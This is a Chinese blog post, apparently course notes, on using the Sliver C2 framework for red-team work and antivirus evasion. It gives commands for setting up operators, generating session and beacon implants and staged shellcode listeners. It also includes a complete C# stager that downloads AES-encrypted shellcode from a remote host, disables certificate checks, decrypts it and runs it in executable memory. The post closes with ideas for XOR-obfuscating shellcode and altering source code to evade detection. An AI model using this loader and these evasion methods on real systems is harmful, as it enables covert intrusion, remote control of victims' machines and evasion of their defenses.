免杀对抗-安全工具篇&新型Go架构&C2-Sliver多平台&上线模式&红队集成研究&免杀方向

在这里插入图片描述

首先,你需要分析:
1、安全工具是否有源代码
2、安全工具源代码逻辑复杂程度
3、当前源代码你是否有能力修改
其次,你需要考虑:
1、无源码或无能力修改
2、各种异常bug打包问题
3、修改打包后效果也不太好
故:
1、非源码修改方式:
转换SC利用同C2的加载上线模式进行对抗(难度小速度快但效果不一)
2、源码修改方式:
魔改源码打乱特征的方法重新定义工具项目(难度大但修改好后效果稳)

安全工具-新型C2-Sliver使用详解

Sliver C2 是一个开源的跨平台红队框架,采用Go开发,目前特征相对于CS更少!
集成了MSF命令行运行模式,又结合了CS的优势特点,合并提供了两种操作模式
Beacon mode:实现了异步通信方式
Session mode:实现了实时会话方式
优势:
免杀能力强化
模块化多扩展
多操组员模式
开源移植性强
支持多平台(Linux, Windows and MacOS)

Implant | 植入物
Listener | 监听器
Sessions | 会话
Beacons | 信标
Armory | 扩展管理器
Multiplayer | 多操作员模式
参考:https://forum.butian.net/share/2243

服务端:

sudo apt-get install mingw-w64 binutils-mingw-w64 g+±mingw-w64
给予执行权限:chmod +x sliver-server_linux
直接执行启用:sudo ./sliver-server_linux
生成连接凭据:new-operator --name xiaodisec --lhost 192.168.139.228
启用多人运动:multiplayer

客户端:

导入凭据:
sliver-client_windows.exe import xiaodisec_192.168.139.228.cfg
再次连接:
sliver-client_windows.exe

生成exe

Session mode:
generate --http http://192.168.139.141:90 --os windows
Beacon mode:
generate beacon --http http://192.168.139.141:90 --os windows -S 5

Session mode(Shellcode)

创建profiles
http -l 9002
profiles new --http 192.168.139.141:9002 --skip-symbols --format shellcode --arch amd64 session_test
创建分阶段监听器
stage-listener --url tcp://192.168.139.141:8443 --profile session_test
创建Stager
generate stager --lhost 192.168.139.141 --lport 8443 --arch amd64 --format c

Beacon mode(Shellcode)

http -l 9003
profiles new beacon --http 192.168.139.141:9003 --skip-symbols --format shellcode --arch amd64 beacon_test(-S 5)
stage-listener --url tcp://192.168.139.141:8003 --profile beacon_test
generate stager --lhost 192.168.139.141 --lport 8003 --arch amd64 --format c

配合C# AES

参考:https://sliver.sh/docs?name=Stagers

http -l 9004
profiles new beacon --http 192.168.139.141:9004 --skip-symbols --format shellcode --arch amd64 xiaodisec
stage-listener --url http://192.168.139.141:8004 --profile xiaodisec --aes-encrypt-key xiaodigayaxiaodi --aes-encrypt-iv gayagayagayagaya
访问http://192.168.139.141:8004/xx.woff

创建出C#项目

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Sliver_stager
{
    class Program
    {
        private static string AESKey = "D(G+KbPeShVmYq3t";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "http://192.168.24.128:8443/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);

            List<byte> l = new List<byte> { };

            for (int i = 16; i <= shellcode.Length -1; i++) {
                l.Add(shellcode[i]);
            }

            byte[] actual = l.ToArray();

            byte[] decrypted;

            decrypted = Decrypt(actual, AESKey, AESIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
            Marshal.Copy(decrypted, 0, addr, decrypted.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}


生成exe上线

配合PowerShell

参考:https://forum.butian.net/share/2275

profiles new beacon --http 192.168.139.141:9005 --skip-symbols --format shellcode --arch amd64 pstest
http -l 9005
stage-listener --url http://192.168.139.141:8005 --profile pstest

安全工具-新型C2-Sliver免杀方向

1、同CS一样针对ShellCode处理

generate stager --lhost x.x.x.x --lport xx --format raw
file_fl_xor.cpp
2、源码级别的二开魔改打乱特征
-默认生成的模版
-Profile流量模版
-改动工具执行调用链

相关推荐

  1. 中用到的工具

    2024-04-02 05:28:06       24 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-02 05:28:06       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-02 05:28:06       106 阅读
  3. 在Django里面运行非项目文件

    2024-04-02 05:28:06       87 阅读
  4. Python语言-面向对象

    2024-04-02 05:28:06       96 阅读

热门阅读

  1. 为您的行业选择最合适的服务器

    2024-04-02 05:28:06       40 阅读
  2. 竞赛常考的知识点大总结(七)图论

    2024-04-02 05:28:06       36 阅读
  3. .NET Framework 3.5框架如何使用RSA加密

    2024-04-02 05:28:06       39 阅读
  4. 洛伦兹系统ODE方程-MATLAB

    2024-04-02 05:28:06       30 阅读
  5. 软件测试-第四章课后作业

    2024-04-02 05:28:06       41 阅读
  6. 在保存原容器的情况下重新安装docker

    2024-04-02 05:28:06       40 阅读
  7. http协议中的“队头阻塞”问题

    2024-04-02 05:28:06       37 阅读
  8. 在CentOS 7上如何添加交换空间

    2024-04-02 05:28:06       39 阅读
  9. 告别PCA,开始玩高阶的PLS-DA

    2024-04-02 05:28:06       38 阅读
  10. 如何在Bash中连接字符串变量

    2024-04-02 05:28:06       31 阅读
  11. 「PHP系列」数组详解

    2024-04-02 05:28:06       39 阅读
  12. C#WPF自定义控件-继承Button的圆角按钮

    2024-04-02 05:28:06       31 阅读
  13. pytorch剪枝

    2024-04-02 05:28:06       40 阅读
  14. 影视站点为何需要多IP服务器

    2024-04-02 05:28:06       34 阅读